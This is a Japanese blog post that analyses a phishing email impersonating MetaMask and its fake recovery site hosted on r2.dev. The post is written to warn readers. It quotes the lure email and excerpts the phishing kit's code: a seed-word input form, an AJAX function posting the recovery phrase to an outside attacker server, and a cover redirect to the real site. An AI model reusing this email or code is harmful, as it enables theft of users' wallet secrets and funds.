MetaMaskを偽装する詐欺メールが届いた（シークレットリカバリーフレーズ）

暗号通貨ウォレットを装った詐欺メールも出回っているようです。
ウォレットの停止を装い、個人情報を盗もうとしていました。
偽サイトでは、シークレットリカバリーフレーズの入力を求め、外部サーバーに送信する危険な仕組みが仕込まれていました。

1. 【偽】「Your MetaMask wallet will be suspended.」

「MetaMaskウォレットが停止されます」というメールが届きました。

そもそもMetaMaskを使っていないので、もちろんこれは詐欺メールです。

【偽】「Your MetaMask wallet will be suspended.」

件名：Your MetaMask wallet will be suspended.
差出人：MetaMask
Dear Customer,
We noticed that someone just tried to log in to your MetaMask from location you have not used before, so we want to make sure it’s really you.
Your account and your wallet have been temporarily blocked to prevent you from losing your assets.
How can I recover my account?
Click and follow the instructions to recover your account and unblock it.
After completing the process, enable Two-Factor Authentication.
[Recover My Account]
© 2024 MetaMask. All rights reserved.

「MetaMask」は、イーサリアムなどを管理するための暗号通貨ウォレットとして人気がある仕組みです。

目次に戻る

2. 偽サイトはアドレスが違う

差出人は〜@aymeetech.com 、リンク先も「https://pub-96a3e76e32434b3〜〜〜.r2.dev/index.html」という別のドメインでした。

ページのタイトルにはMetaMaskと表示され、公式サイト（https://metamask.io/ja/）を模倣しているように見えます。

しかし、サイトのURLが正規のMetaMaskのドメインではありません。

このようなサイトでは絶対に個人情報や秘密鍵を入力してはいけません。

目次に戻る

2-1. r2.devのサブドメイン

偽サイトの親ドメインになっている r2.dev って何なの？

R2.devは、Cloudflareが提供するオブジェクトストレージサービスです。

多くの開発者や企業がウェブサイトやアプリを構築する（ホスティング）のに利用されています。
しかし、悪意のある人々がフィッシングサイトなどを作成するときに悪用される事例も増えています¹。

使いやすさと悪用

Cloudflareは無料プランや低コストのプランが提供しているため、悪用しやすい面があるのです。
しかも、悪意のあるユーザーが身元を隠しやすくなる点も好都合。
Cloudflareという大手企業のドメインを使って正当性を装えるからです。

正規のサービスと悪用されているケースを区別するのが難しいため、サービスプロバイダーや利用者にとって大きな課題となっています。

目次に戻る

3. シークレットリカバリーフレーズを盗もうとする

コード内にはシークレットリカバリーフレーズの入力を求めて、外部に送信する処理がありました。

「シークレットリカバリーフレーズ（Secret Recovery Phrase）」は、暗号通貨ウォレットにアクセスするための重要な「鍵」です。

12〜24個の無作為に選ばれた単語の列で、ウォレットの秘密鍵を生成するための種（シード）として機能します。

このフレーズがあれば、ウォレット内のすべての資産にアクセスできます。
反対に紛失すると、ウォレットとその中の資産へのアクセスが永久に失われる可能性があります。

正規のMetaMaskサイトでは絶対に要求されないものです。

目次に戻る

3-1. 入力フォームと外部送信先

ユーザーのシークレットリカバリーフレーズを入力させるフォームがあります。

<div class="input-form">
    <label for="">1. </label>
    <input type="password" class="word-12">
    <img src="https://bestfilltype.netlify.app/eye-close.png" alt="eye-close" class="eye">
</div>

正規のMetaMaskサイトでは、このような形でフレーズの入力を求めることはありません。

ユーザーが入力したシークレットリカバリーフレーズは、収集され postData関数に渡されます。

let data = `Word 1: ${word12_1.value} \nWord 2: ${word12_2.value} \nWord 3: ${word12_3.value} ...`;
postData(data);

ユーザーが入力したデータを外部のサーバーに送信しています。

const postData  = (data) => {
    $.ajax({
    url: "https://kandhsiahfh.publicvm.com/psa.php",
    type: "POST",
    data: { pass: data },
 });
};

これは明らかにユーザーの秘密情報を盗もうとする行為です。

目次に戻る

4. そのほかの偽サイトの兆候

目次に戻る

4-1. メタタグでの検索エンジンのインデックス作成の禁止

検索エンジンがこのページをインデックス化しないように指示しています。

<meta name="googlebot" content="noindex">
<meta name="googlebot-news" content="noindex">
<meta name="googlebot" content="noindex">
<meta name="googlebot-news" content="nosnippet">

正当なサイトであれば、通常このような制限は行いません。

目次に戻る

4-2. 偽のリダイレクト

処理が完了した後にユーザーを本物のMetaMaskサイトにリダイレクトしています。

if (timeleft === -1) {
    window.location.replace("https://metamask.io/");
}

ユーザーに詐欺に気付かれないようにするための手法です。

これらの要素は全て、このサイトが悪意のあるフィッシングサイトであることを示しています。
ユーザーの秘密情報を盗み取ることを目的としたサイトであり、非常に危険です。

こちらもどうぞ。

パプリックDNSと公衆Wi-FiとDNSトラフィックの暗号化

公衆Wi-Fiは、個人宅のWi-Fiルーターに比べ設定内容が不明で、信頼できないDNSサーバーに接続される危険性を考える必要があります。そこで、信頼できるパブリックDNSを利用して、偽サイトに誘導されるリスクを減らします。ただし、パブリックDNSを安全に利用するには、端末からDNSサーバーまでの通信（DNSトラフィック）を暗号化することが重要です。公衆Wi-Fiでの接続先は信頼できるのか？ DNS通信の暗号化が重要になるのは、「公衆Wi-Fi」を利用する場合です。たと...

Google検索結果から変なページに飛ばされた【ロボット？賞品当選？】

インターネットで調べ物をしていたら、Googleの検索結果から、変なロボットの「許可」を求めるページが表示されました。詳しく見てみると、ランダムでほかの不安を煽る広告ページや偽サイトに飛ばされる仕組みになっていました。今回は、検索結果に含まれている、変なページに飛ばす「リダイレクト」の仕組み・手口について、見てみましょう。ポイント検索結果の中には、悪質な広告に誘導するページが紛れ込んでいる。パスワードを入力したり、アプリをインストールしたりしない限り、ほとんど被害に...

またIPFSを悪用した詐欺メールが届いた（cpanelservermail.com）

また、メールサービスからの障害通知を装った、詐欺メールが届きました。本文内のリンクは、「IPFS」を悪用した偽サイトに誘導するものでした。攻撃者は、メールの信憑性を高めるためにDKIM設定をしていました。詐欺メールもどんどん技術的に巧妙になっていくね。メールの配信障害を装うメールまた、メールサービスのエラー通知を装った詐欺メールが届きました。件名は「Manual sending required for failed group of emails（複数の失敗した...

NFTの「価値」とデジタルデータの「所有」を考える

NFTは、「デジタルデータの所有」を保証する暗号技術です。しかし、デジタルデータの「所有」を、どう社会生活に役立てるのかは、まだ不透明です。一方で、最近の技術進歩では、デジタルデータは「所有」より「利用」に関心が移っているからです。 NFTは保証書「NFT（Nonfungible token：非代替性トークン）」は、「デジタルデータの所有権を暗号技術で証明するためのデータ」です。主に、デジタルアートの売買で利用されることが想定されています。ただ、NFT自体は、法的には...

（補足）

「r2.dev」はCloudflare R2という分散型オブジェクトストレージサービスで利用されているドメインであり、サイト構築の際にホスティングとしても利用されているものになります。 – 2023年下半期フィッシングサイトドメイン集計 | Digital Arts Security Reports｜デジタルアーツ株式会社

目次に戻る

QRコードを読み込むと、関連記事を確認できます。